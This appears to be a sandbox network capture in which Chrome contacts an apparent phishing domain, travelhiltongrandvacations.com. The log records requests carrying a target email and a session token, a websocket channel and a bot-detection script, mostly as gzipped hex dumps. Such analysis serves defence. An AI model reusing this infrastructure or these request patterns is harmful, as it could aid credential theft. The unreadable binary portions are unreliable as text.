1f 8b 08 00 00 00 00 00 00 03 bc 5a ed 73 db 36 d2 ff de bf 82 d2 3c a7 01 2c 98 26 f5 e2 17 ca 88 27 75 93 5e ee e2 36 13 a5 cd dd a9 ec 0c 44 ae 2c d4 14 a0 01 41 db 8a a5 ff fd 19 00 7c 93 62 e7 7a f7 e1 32 49 48 62 7f 58 ec 2e 16 bb 58 40 27 47 47 df 79 47 de 5b 2e 6e 41 ad 15 17 fa 6f 53 ef 7e e4 0f fd c0 3b f6 ae e5 7a a3 f8 ed 52 7b 28 c1 fb 20 e2 bd 13 09 f1 06 c1 60 e4 a1 a5 d6 eb 3c 3a 39 59 34 08 3f 91 2b fc 9d 67 b9 bf e7 09 88 1c 52 af 10 29 28 ef fb 22 e7 02 f2 dc 9b ca 42 25 50 91 bd d0 0f bd 8a d3 8a 29 ce d2 b9 e1 72 32 cf b3 30 3c 69 18 49 15 3d 23 8b bf 37 d2 67 a9 ee 0e 50 de 5c c9 87 1c 94 d7 92 92 8b 5b 2f e3 73 c5 d4 c6 74 7f 9d a6 5c 73 29 58 e6 fd 92 83 f7 a3 62 42 47 de 4f 52 80 a1 5e 2f 99 b8 05 ef 07 a6 21 f2 de ca 42 79 1b 60 2a f7 16 4a ae bc 05 57 b9 f6 14 64 c0 72 f0 16 52 79 7a 09 5e be 86 84 2f 78 e2 dd 83 ca b9 14 7e 8b 4f 29 6b e4 dd bc fb 44 3c 0d 8f da 63 ba 36 80 5c 1b 4d 8d 7d 7c a9 6e 4f 32 07 3e 59 71 7d e2 3d 70 bd b4 ec 17 32 cb e4 83 51 22 [TRUNCATED] Data Ascii: fc9Zs6<,&'u^6D,A\|bz2IHbX.X@'GGyG[.nAoS~;zR{( `<:9Y4?+gR)("B%P)r20<iI=#7gP\[/st\s)XbBGOR^/!By`*JWdrRyz^/x~O)kD<c6\M}\|nO2>Yq}=p2Q"gJH@u k9Ng(Dbl](y$gyov[C?-B DQn[K5>nc\_+_A5(eH{=3
May 24, 2024 07:54:45.360428095 CEST	224	IN	Data Raw: 19 53 31 93 31 9e 54 f2 ed 08 f8 6c bd ce 36 48 2f 79 4e 6a d6 78 37 a9 44 f5 04 02 22 88 26 aa 56 4b c0 03 d2 db 2d d2 f4 83 92 2b 9e 03 c6 08 d5 aa 49 c2 f1 53 dd 9b 19 55 b5 da 3c 15 48 f9 02 1e 35 02 8c 77 09 d3 c9 12 09 fc c4 91 c0 bb 5d 8d Data Ascii: S11Tl6H/yNjx7D"&VK-+ISU<H5w]NhT'RD!Aw"<.rDr+xtKfO`Xc}I@HQUng1Nl$,("'>elY<Q==9blu,91;&f1kUDNQLl
May 24, 2024 07:54:45.361376047 CEST	1236	IN	Data Raw: 28 41 21 26 8e 1c 25 68 80 77 a4 5b 8d d4 a5 d4 f8 84 5c 78 d3 cd 6a 2e b3 5e 0f f1 99 7b f5 b9 06 c5 b4 54 f1 33 6e 6b 7c 61 87 09 9f b4 e6 25 a9 a9 35 be f8 ba 29 b1 ba e9 52 2d 63 e5 4f 9b 35 bc 51 4a 2a d4 fd 11 84 1b d3 e3 b9 c7 32 05 2c dd Data Ascii: (A!&%hw[\xj.^{T3nk\|a%5)R-cO5QJ2,xIanIfA!F`Y,t3+W/;vz-I# I+If^GI)D:?%&z}dMl(2DOlJQ'98jPZ@BgA<I
May 24, 2024 07:54:45.362381935 CEST	1236	IN	Data Raw: d2 a2 bd 7f 9e 66 c5 fa 95 ce 06 83 b3 b3 b3 e1 78 18 0e c9 e0 fc 62 3c be 18 07 17 31 99 d2 59 38 b8 08 c3 d3 8b e0 22 24 a7 e3 f3 f3 b3 30 3c 3d 8b c9 67 23 c3 38 26 ff 32 cf 70 78 11 0c 82 f3 73 d3 e3 d1 34 5c 8c 46 c3 61 38 1a 8d 5b e2 df b4 Data Ascii: fxb<1Y8"$0<=g#8&2pxs4\Fa8[]m/\i0ue(kk4RY&-OQLAa<3SQj6nwOon0K=3O[(L%dg?1//ily=//#YW)kA
May 24, 2024 07:54:46.081990004 CEST	489	OUT	POST /r/5?session=a0036ebb777d9bec704a2424ad3254caf695a8e96781526647f901b8b8091617 HTTP/1.1 Host: c7642d242.travelhiltongrandvacations.com Connection: keep-alive Content-Length: 373 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4JcrhxA162PHBrfy Accept: / Origin: null Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
May 24, 2024 07:54:46.429239988 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 05:54:46 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive access-control-allow-origin: * access-control-allow-credentials: true access-control-allow-methods: GET, PUT, POST, DELETE, OPTIONS vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AYAjtYFfp3ktDQNzcdraUMaayJYpzF46USi2TJHa2jDQ3oRsj3z%2FBQd0fhL1AXXKFGzHQ3CgzFBUgw2V%2BQM7MBS9jY9jErOVqDr5xR%2Fy4aOhnEt4kZwF%2FZ9yzZnN1VtTC1mnyscvjJ4zUO4UlxRD0PRLJ1NBOXQOl4E%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888b086e78478ce6-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 33 37 35 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 d4 7d f9 77 ab 38 b2 ff cf 33 7f 85 bf e9 33 a7 bb c7 8b d8 31 c9 eb 7e cf d9 f7 38 bb 93 79 7d e6 60 10 86 44 06 2e 60 c7 49 4e fe f7 ef 11 8b 10 20 30 b9 4b f7 bc 7b 67 fa da aa a2 54 aa 2a 09 7d 24 95 f5 5f 76 34 47 1d d3 09 7e db 40 51 b0 d1 41 ba 3b fb 6d 03 ba 1b 9d 30 7a 45 f0 b7 0d cb 41 11 0c 36 3b f6 02 f6 03 2f d2 23 f8 0b cf 99 70 f6 eb c6 ef ff 65 43 dd fc fd bf e6 30 d2 3b 86 ad 07 21 8c 7e db 58 44 56 7f b8 01 7e ff 7b a7 d3 f9 2f e4 b8 cf 1d 3b 80 d6 6f 1b a6 1e e9 9b ce 5c 9f 41 e0 bb b3 ad a9 1e 42 45 ea 8d 46 a3 ed d1 68 6f 74 78 3d 1a e1 7f 8f 46 23 6f f7 65 34 da 9f 8d 46 a3 1d fc 9f 91 89 ff 73 39 22 f4 f8 cf 6c 24 8d be cf 9f dd 0b f3 d8 1b 71 13 fd 71 fb cc 7f 9d 3f 4f f6 a7 8f fa ea e5 60 7e ad 06 ab f9 d3 52 91 1f a4 60 11 dd ef 1c 84 d3 63 38 bb bd 0e ef dd d9 5e c0 af 86 a3 1f f2 67 f7 ca 94 9f 47 82 a8 ee 8d ce ef 54 ff 7a f7 1a 9e 5c 9c bc 4d ee 67 4a 88 56 ee 18 ec 4f fd 27 f0 72 ff e5 06 a8 bc fb 04 ba 58 3f 80 f5 53 a6 [TRUNCATED] Data Ascii: 375f}w8331~8y}`D.`IN 0K{gT*}$_v4G~@QA;m0zEA6;/#peC0;!~XDV~{/;o\ABEFhotx=F#oe4Fs9"l$qq?O`~R`c8^gGTz\MgJVO'rX?Sp0Ewn\|>}2$]\/o}zlNiRS/-P\}l/-(R0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49709	104.21.78.175	80	5556	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 07:54:44.949480057 CEST	339	OUT	GET /s/d97ac54c463?b51e238161f6=admin@microsoft.com HTTP/1.1 Host: c7642d242.travelhiltongrandvacations.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
May 24, 2024 07:54:45.495625019 CEST	794	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 05:54:45 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: keep-alive access-control-allow-origin: * access-control-allow-credentials: true access-control-allow-methods: GET, PUT, POST, DELETE, OPTIONS CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zHr7csaIZmDQjHPFTgjMP2Cm4NOOWD96rYtMLeDsYDkADyqs6%2FPsObmRW%2FjyxOKGVr4qLE4pvJFgfpSchiyvWWcgM%2FiGgJxtlO6tZm1lkQNV0n%2FxhJKW4Q7QMreY7xM9H%2BCVXEe%2Bumf%2Fehx2t9WmKEQHqsNosdM92FJk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888b08698aa28cda-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 00 00 00 ff ff 0d 0a Data Ascii: f
May 24, 2024 07:54:45.497020960 CEST	1236	IN	Data Raw: 64 64 64 0d 0a b4 5a 5b 6f db 40 ae 7e 4e 7f c5 ac 8a c5 36 80 ac 90 73 67 1a 17 8b cd 6b 0f b0 c0 39 4f e7 e9 8c a4 91 23 d4 37 c8 ca a5 bb d8 ff 7e 30 ba 59 b6 95 c4 49 13 a3 85 65 8a c3 21 39 24 67 f8 4d 1e 5c c5 96 1b 97 fb 8a cd d9 ff dd dc Data Ascii: dddZ[o@~N6sgk9O#7~0YIe!9$gM\;_cO^.U:E9wbuY_\|\o_7az*w~-:ef_)@e,}2)xc3F}<TxkO=:<h%S;F
May 24, 2024 07:54:45.501861095 CEST	224	IN	Data Raw: 7b 4a e1 68 1e e5 a0 41 a5 1d 29 57 56 cf 23 27 5c 91 e7 ba a3 f9 2c e3 45 aa e7 51 9a 0b 3e 52 ba 5f be 88 2d 37 8f f3 a8 b0 52 5b 8d 08 58 44 6c e5 eb bb 4d 3e 8f 52 e3 6c ce ad d7 69 c4 56 f7 b5 cf 83 31 9a 08 33 63 d0 15 11 db 6c fd 7a 1e 79 Data Ascii: {JhA)WV#'\,EQ>R_-7R[XDlM>RliV13clzy\+#lg9ie\zg.-8K*RF]\/.yQ^pe9<lyxBj76FY+w('G>RBn<
May 24, 2024 07:54:45.506777048 CEST	1236	IN	Data Raw: eb da 2f aa b2 fe fd ab 5c 87 f7 29 57 1c 84 34 a0 7a 27 23 a2 b3 08 32 e3 05 c0 c8 cf 22 93 c2 a7 a4 d0 0e 9e 1a 12 b1 5c 87 44 fd 1e fd b8 b9 da fe b8 b9 0a 91 f5 e3 26 bd af eb cd 10 61 0f 3e ab 37 d5 6c 5b ae d7 2e 5d 86 a4 0e 76 cc ea cd 62 Data Ascii: /\)W4z'#2"\D&a>7l[.]vbm8yzv+?Nm4(u$>C:zveSW\se[sy9~]Dlw~VurGY*V>+we)<y@~Z-ytW
May 24, 2024 07:54:45.506793022 CEST	860	IN	Data Raw: 7f 34 19 d2 97 43 3f a3 64 02 5a 58 ad 83 83 82 c6 7f 62 a2 0d f6 99 98 2b f5 bc 8d ce 64 a8 f3 82 f3 82 d0 ff b9 91 09 c8 70 14 e3 d2 92 01 b2 9d cd c8 55 42 56 4a b2 4a 1a 21 a4 31 8c cb bd d1 f2 43 ac 95 10 a3 b6 31 17 f2 79 6b 33 ab 32 91 79 Data Ascii: 4C?dZXb+dpUBVJJ!1C1yk32y[7g!R@jq-4/#3'sAp`,#B^!1VYkEG}raJ[QFCD+%e5Xh]-k#Wz
May 24, 2024 07:54:45.506802082 CEST	1236	IN	Data Raw: 64 36 34 0d 0a b4 5c 6d 73 db 48 72 fe 4c fe 8a 09 52 29 93 b1 d0 9c f7 17 69 75 5b f6 ed fa 76 93 d3 dd 55 79 a3 7c 70 39 09 04 0e 45 9e 49 82 05 40 72 bc 39 ff f7 d4 d3 00 25 ca 5e 6f 76 ef 2e 1f 08 0e e7 0d 3d dd 4f 3f 3d 83 c1 f0 e7 ca c1 fd Data Ascii: d64\msHrLR)iu[vUy\|p9EI@r9%^ov.=O?=bB8eS2\|??5~b,iW[cH>S%o\|?wPe{K'<K4%"o$il]$CI:-9_*
May 24, 2024 07:54:45.506808043 CEST	224	IN	Data Raw: 52 30 8e 26 ed 29 d9 44 d6 6e 49 f2 a3 b2 eb 40 49 47 86 34 02 a7 72 95 c5 ba 40 0c d7 91 cf 41 c3 da 47 e1 28 19 3d 5e 47 1f 96 0e 23 91 6c 70 39 52 b8 05 a0 62 a9 c9 46 43 c1 b3 e4 e4 94 46 4f d0 bc 82 0d 86 64 4a 2c b4 c5 c3 99 40 21 31 f9 a3 Data Ascii: R0&)DnI@IG4r@AG(=^G#lp9RbFCFOdJ,@!1,;G"BC x6XH6Fx+"@s/0d]q)5P@Za8^2H{1pMFZGa#kH,'eLC1
May 24, 2024 07:54:45.516408920 CEST	1236	IN	Data Raw: 60 7e 17 e1 e6 78 2b 11 b4 a1 a5 e5 d4 80 6d cc 1e 24 80 c6 65 0a 30 72 1a 70 75 60 46 83 d0 69 15 18 1b 3f 43 02 3e 43 84 ab 28 e3 af 22 3f 81 3f e5 af 78 e4 af 70 e4 af f8 65 fa d2 7f 2b 7d e9 ff 3f fa b2 9f d2 d7 55 c4 bb 7b 08 55 c6 ff 1a f6 Data Ascii: `~x+m$e0rpu`Fi?C>C("??xpe+}?U{U'?^3'.$ig@<rL4 n,kO.x0^jJ=Li07Bd]v<2{`XW_fH%,)lr13/\|)
May 24, 2024 07:54:45.519016981 CEST	744	IN	Data Raw: f8 e0 67 4e 88 bd 19 31 17 ff 34 38 ea a1 79 3f d3 67 62 16 4b 35 9f cf a7 93 c9 5b 48 c1 82 30 f4 73 55 af 45 de f7 ed 87 e9 64 b2 6a da d9 36 f7 6f de 9d dd bf 15 cd 4a fc f1 06 23 23 14 6f 72 37 63 65 40 1b c7 d6 dd c0 3a 55 5f 21 0f a3 40 fa Data Ascii: gN148y?gbK5[H0sUEdj6oJ##or7ce@:U_!@E?\|7SwnYQiWf+jGn=CuYL5FE~c.x86!;ymnfo/02{L%s.pnh>e\,Ye^mFGc%#f
May 24, 2024 07:54:46.567950964 CEST	369	OUT	GET /r/5?session=a0036ebb777d9bec704a2424ad3254caf695a8e96781526647f901b8b8091617 HTTP/1.1 Host: c7642d242.travelhiltongrandvacations.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
May 24, 2024 07:54:46.739795923 CEST	651	IN	HTTP/1.1 405 Method Not Allowed Date: Fri, 24 May 2024 05:54:46 GMT Content-Type: application/json Content-Length: 31 Connection: keep-alive allow: POST CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B22P6XHcjgQdRnfCMWKzOLmcIg8XHVZmoZFB14m%2FZmGg1pxUkkvM6Jv52wOcFlu357Qkn%2FQ8rA2PSZJbLSLJuQZVuoz5vbjy41psLoEvmroOyzUx59dIALWxZ3NyIbo172CxFwxcdFQhslqHg04DGYY8JA8KWAM3RKcI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888b0871a9118cda-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 7b 22 64 65 74 61 69 6c 22 3a 22 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 22 7d Data Ascii: {"detail":"Method Not Allowed"}
May 24, 2024 07:55:31.754307985 CEST	6	OUT	Data Raw: 00 Data Ascii:
May 24, 2024 07:56:16.783576965 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49718	104.21.78.175	80	5556	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 07:54:47.579617977 CEST	573	OUT	GET /p/31?session=a0036ebb777d9bec704a2424ad3254caf695a8e96781526647f901b8b8091617 HTTP/1.1 Host: c7642d242.travelhiltongrandvacations.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: null Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Sec-WebSocket-Key: BQY5ZGhFWG6fPEfYvBYWiA== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
May 24, 2024 07:54:48.087528944 CEST	677	IN	HTTP/1.1 101 Switching Protocols Date: Fri, 24 May 2024 05:54:48 GMT Connection: upgrade Upgrade: websocket Sec-WebSocket-Accept: kMXAjQ7OczlQ3L0OBW8RsJx9sY4= Sec-WebSocket-Extensions: permessage-deflate CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VKu6zf5GfGYpSj5%2FpeIVllYuZ6nb4kOlg7xke%2FGLd%2FzpcNTttwx6R2Afxp0ryCU5TIUzu6ghjHYax2%2Bfnszf0vh9Xqtaw0LqVVDwApnkssvuY2U6aLJBAyV2KRDmhz%2Fh02hDLNV7XGQzcud3EDuH8osxRxo4RXXjdypj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888b087a0aed431b-EWR alt-svc: h3=":443"; ma=86400
May 24, 2024 07:54:48.443175077 CEST	76	OUT	Data Raw: c2 c6 c9 6f fc 16 db 9a 9d f1 3b 66 0d 9f c6 e4 72 e1 b8 9d 9d f0 5f fa 19 f1 2d 99 f5 07 3c 8e 9a f0 ae 08 fe dc 39 1c cd a5 fa 87 cd a5 3a a5 cc dc fb 1d b4 2f 39 5d ce ed c1 54 05 de 38 24 4d 17 ac 72 dd dc 4d ca a9 14 c8 6f Data Ascii: o;fr_-<9:/9]T8$MrMo
May 24, 2024 07:54:48.553447008 CEST	199	IN	Data Raw: c2 7e 00 c3 c4 8e 4d 6e c2 30 14 84 cf d4 55 8f da 6d 2c 3b 2f 7a e6 39 21 42 48 d4 3f 1c a1 a7 28 18 79 65 90 10 71 8c 9d 92 f6 10 5d ce 8c 3e cd b7 0b 8c c2 ed 12 52 2c 29 7c 5f 82 56 e6 d0 81 51 af 6e 17 e4 f0 c1 5a 1c d6 10 1a 6b 0f e6 e6 3d Data Ascii: ~Mn0Um,;/z9!BH?(yeq]>R,)\|_VQnZk="mAgAYOD')o~B8:9I9~E70`gB8c5Z{1Zr-qy.e5}IPzKN%M
May 24, 2024 07:54:57.515635967 CEST	49	OUT	Data Raw: c2 ab 87 93 fd 17 95 16 65 03 96 8c ee 09 ca 2f ac 57 14 b7 7c 45 6b bf 91 ab 5b 7f 2f 7b 3b 1f 11 4b 3b 5b 1b 24 b6 e1 4f 24 7f 9b 7a dc 2f 91 fd Data Ascii: e/W\|Ek[/{;K;[$O$z/
May 24, 2024 07:55:01.257148981 CEST	52	IN	Data Raw: c2 32 da f4 7a c1 da d7 9f 5f be fe ff e3 f7 87 3f af 9f be 7c bd 7b cd ae 9d cb 96 ef 5a 03 14 dc f4 7a 2f 48 6a c1 f2 fd 2b 96 02 55 6d d9 22 c6 79 0d 00 Data Ascii: 2z_?\|{Zz/Hj+Um"y
May 24, 2024 07:55:08.084091902 CEST	6	IN	Data Raw: 89 04 41 1b 72 95 Data Ascii: Ar
May 24, 2024 07:55:08.084283113 CEST	10	OUT	Data Raw: 8a 84 f8 1a b8 b8 b9 01 ca 2d Data Ascii: -
May 24, 2024 07:55:11.954248905 CEST	93	OUT	Data Raw: c2 d7 db fe cd d8 d7 34 fc d2 5b ce c1 9e 3a f8 d7 93 72 77 4e cc 7f eb 91 05 67 7a 95 20 fc 17 17 19 20 21 0f 74 34 85 e6 b0 9d 39 fa 66 ac 1e cb 93 76 8f dc 2c ce 3c 5c 64 8a 62 54 7e 48 d7 58 88 58 10 82 d2 b7 1d bb c0 b2 ef 58 7a 79 36 9b 3a Data Ascii: 4[:rwNgz !t49fv,<\dbT~HXXXzy6:5Rd]
May 24, 2024 07:55:16.333913088 CEST	51	IN	Data Raw: c2 31 ba de 77 f4 44 df b4 9e be d9 f3 67 4f 99 df d7 d0 d3 77 ef e4 fd 3b 87 0f dd 3f 09 14 bc de 77 03 24 75 f4 d0 ad b3 07 80 aa 2e 5e fc 1c c7 08 00 Data Ascii: 1wDgOw;?w$u.^
May 24, 2024 07:55:28.184990883 CEST	6	IN	Data Raw: 89 04 42 f1 6a 86 Data Ascii: Bj
May 24, 2024 07:55:28.185219049 CEST	10	OUT	Data Raw: 8a 84 b7 c1 7e bb f5 30 14 3d Data Ascii: ~0=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49710	13.32.99.97	443	5556	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:54:45 UTC	494	OUT	GET /botd/v1 HTTP/1.1 Host: openfpcdn.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 05:54:46 UTC	698	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Content-Length: 15196 Connection: close Server: CloudFront Date: Fri, 24 May 2024 03:14:16 GMT Cache-Control: public, max-age=589849, s-maxage=10562 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Strict-Transport-Security: max-age=63072000; includeSubDomains; preload X-Content-Type-Options: nosniff ETag: "5co2cnhGrt59+8B+iLKwJesMrpA" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 3296b04068551f925d5fafd1b785ff30.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P3 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: Pb6ptP4HLinza0JWDDPrtcE86yexBabhm8lOhuWb8cpiXrSd9OdyaA== Age: 9629
2024-05-24 05:54:46 UTC	15196	IN	Data Raw: 2f 2a 2a 0a 20 2a 20 46 69 6e 67 65 72 70 72 69 6e 74 20 42 6f 74 44 20 76 31 2e 39 2e 31 20 2d 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 46 69 6e 67 65 72 70 72 69 6e 74 4a 53 2c 20 49 6e 63 2c 20 32 30 32 34 20 28 68 74 74 70 73 3a 2f 2f 66 69 6e 67 65 72 70 72 69 6e 74 2e 63 6f 6d 29 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 28 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 6d 69 74 2d 6c 69 63 65 6e 73 65 2e 70 68 70 29 20 6c 69 63 65 6e 73 65 2e 0a 20 2a 2f 0a 76 61 72 20 65 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 7b 5f 5f 70 72 6f 74 6f 5f 5f 3a 5b 5d Data Ascii: /** * Fingerprint BotD v1.9.1 - Copyright (c) FingerprintJS, Inc, 2024 (https://fingerprint.com) * Licensed under the MIT (http://www.opensource.org/licenses/mit-license.php) license. */var e=function(n,t){return e=Object.setPrototypeOf\|\|{__proto__:[]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49714	104.17.24.14	443	5556	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:54:47 UTC	558	OUT	GET /ajax/libs/font-awesome/4.7.0/css/font-awesome.css HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 05:54:47 UTC	946	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 05:54:47 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03e5f-9226" Last-Modified: Mon, 04 May 2020 16:10:07 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 647470 Expires: Wed, 14 May 2025 05:54:47 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xioPzrL5KDNjA62I%2FVMl03Y6JKhPxIJ0WpZ0D%2Fl7uyG9dhUS5r1yPjCXwzXNRZawnMA9zb8y8ZXzOl14suKvRQZLc1L1XkmSpYOidebw4lMD8kxYXlmqOVzt%2FCovVdkDZH5S6qk%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 888b08753c20c454-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 05:54:47 UTC	423	IN	Data Raw: 37 62 66 66 0d 0a 2f 2a 21 0a 20 2a 20 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 34 2e 37 2e 30 20 62 79 20 40 64 61 76 65 67 61 6e 64 79 20 2d 20 68 74 74 70 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 69 6f 20 2d 20 40 66 6f 6e 74 61 77 65 73 6f 6d 65 0a 20 2a 20 20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 69 6f 2f 6c 69 63 65 6e 73 65 20 28 46 6f 6e 74 3a 20 53 49 4c 20 4f 46 4c 20 31 2e 31 2c 20 43 53 53 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 29 0a 20 2a 2f 0a 2f 2a 20 46 4f 4e 54 20 50 41 54 48 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 46 6f 6e 74 41 77 65 73 Data Ascii: 7bff/! Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) // FONT PATH * -------------------------- */@font-face { font-family: 'FontAwes
2024-05-24 05:54:47 UTC	1369	IN	Data Raw: 6f 6e 74 61 77 65 73 6f 6d 65 2d 77 65 62 66 6f 6e 74 2e 77 6f 66 66 32 3f 76 3d 34 2e 37 2e 30 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 2c 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 77 65 62 66 6f 6e 74 2e 77 6f 66 66 3f 76 3d 34 2e 37 2e 30 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 27 29 2c 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 77 65 62 66 6f 6e 74 2e 74 74 66 3f 76 3d 34 2e 37 2e 30 27 29 20 66 6f 72 6d 61 74 28 27 74 72 75 65 74 79 70 65 27 29 2c 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 77 65 62 66 6f 6e 74 2e 73 76 67 3f 76 3d 34 2e 37 2e 30 23 66 6f 6e 74 61 77 65 73 6f 6d 65 72 65 67 75 6c 61 72 27 29 20 66 6f 72 Data Ascii: ontawesome-webfont.woff2?v=4.7.0') format('woff2'), url('../fonts/fontawesome-webfont.woff?v=4.7.0') format('woff'), url('../fonts/fontawesome-webfont.ttf?v=4.7.0') format('truetype'), url('../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular') for
